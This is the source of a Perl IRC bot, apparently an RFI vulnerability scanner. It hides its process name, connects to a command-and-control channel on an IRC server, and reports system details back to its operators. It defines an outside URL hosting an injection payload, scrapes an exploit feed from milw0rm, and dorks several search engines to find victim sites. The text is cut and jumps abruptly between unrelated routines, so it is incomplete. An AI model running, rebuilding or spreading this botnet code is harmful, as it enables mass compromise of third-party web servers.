#!/usr/home/bin/perl use IO::Socket::INET; use HTTP::Request; use LWP::UserAgent; my $processo = "/priv8/"; my $cmd="http://usuarios.arnet.com.ar/larry123/safe.txt?"; my $server="irc.priv8.org.uk"; my $porta="6667"; my $nick="TeSuDa|02|"; my $canale="#mTs"; my $verbot = "1.2"; my $pid=fork; exit if $pid; $0="$processo"."\0"x16; my $sk = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$porta",Proto=>"tcp") or die "Can not connect on server!\n"; $sk->autoflush(1); print $sk "NICK $nick\r\n"; print $sk "USER TeSuDa 13 * : preman from gorontalo\r\n"; print $sk "JOIN $canale\r\n"; while($line = <$sk>){ $line =~ s/\r\n$//; if ($line=~ /^PING \:(.*)/) { print "PONG :$1"; print $sk "PONG :$1"; } if ($line=~ /PRIVMSG $canale :.bye/){ stampa($sk, "QUIT"); } if ($line=~ /PRIVMSG $canale :.help/){ stampa($sk, "PRIVMSG $canale :[13Ajuda] 6Scanner RFI Versão $verbot (C)UDP , 3Color By 10Baixinho"); stampa($sk, "PRIVMSG $canale :[13Ajuda] 2Comando: 4.scan Bug Dork 2Para scanear."); stampa($sk, "PRIVMSG $canale :[13Ajuda] 2Comando: 7.engine 2Para verificar os sites de busca"); stampa($sk, "PRIVMSG $canale :[13Ajuda] 2Comando: 7.milworm 2Para verificar bugs do milworm"); stampa($sk, "PRIVMSG $canale :[13Ajuda] 2Comando: 7.info 2Para verificar status Bot/System "); } if ($line=~ /PRIVMSG $canale :.info/){ my $sysos = `uname -sr`; my $uptime = `uptime`; if ($sysos =~ /freebsd/i ) { $sysname = `hostname`; $memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`; $swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`; chomp($memory); chomp($swap); } elsif ( $sysos =~ /linux/i ) { $sysname = `hostname -f`; $memory = `free -m |grep -i mem | awk '{print \$2}'`; $swap = `free -m |grep -i swap | awk '{print \$2}'`; chomp($swap); chomp($memory); } else { $sysname ="No Found";; $memory ="No found"; $swap ="No Found"; } $uptime=~s/\n//g; $sysname=~s/\n//g; $sysos=~s/\n//g; stampa($sk, "PRIVMSG $canale :[13Info] Server: $server :| - $porta"); stampa($sk, "PRIVMSG $canale :[13Info] SO/Hostname:12 $sysos - $sysname"); stampa($sk, "PRIVMSG $canale :[13Info] Process/PID:12 $processo - $$"); stampa($sk, "PRIVMSG $canale :[13Info] Uptime:12 $uptime12::."); stampa($sk, "PRIVMSG $canale :[13Info] Memory/Swap:12 $memory - $swap"); stampa($sk, "PRIVMSG $canale :[13Info] Perl Version/BOT:12 $] - $verbot"); } if ($line=~ /PRIVMSG $canale :.engine/){ stampa($sk, "PRIVMSG $canale :[13Engine] 2Google(Bypass), Yahoo, MsN, Altavista, Libero, AllTheWeb, AsK, UoL, AoL, MozBot, Mamma, RomSearch, GigaBlast, Jekoo, FireBall, Lycos, Search"); } if ($line=~ /PRIVMSG $canale :.milworm/){ my @ltt=(); my @bug=(); my $x; my $page=""; my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return; print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; my @r = <$socke>; $page="@r"; close($socke); while ($page =~ m/
http:\/\/(.+?)\<\/p>/g){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}
sub yahoo(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=100){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\(.+?)\<\/em>/g){
my $k=$1;
$k=~s///g;
$k=~s/<\/b>//g;
$k=~s/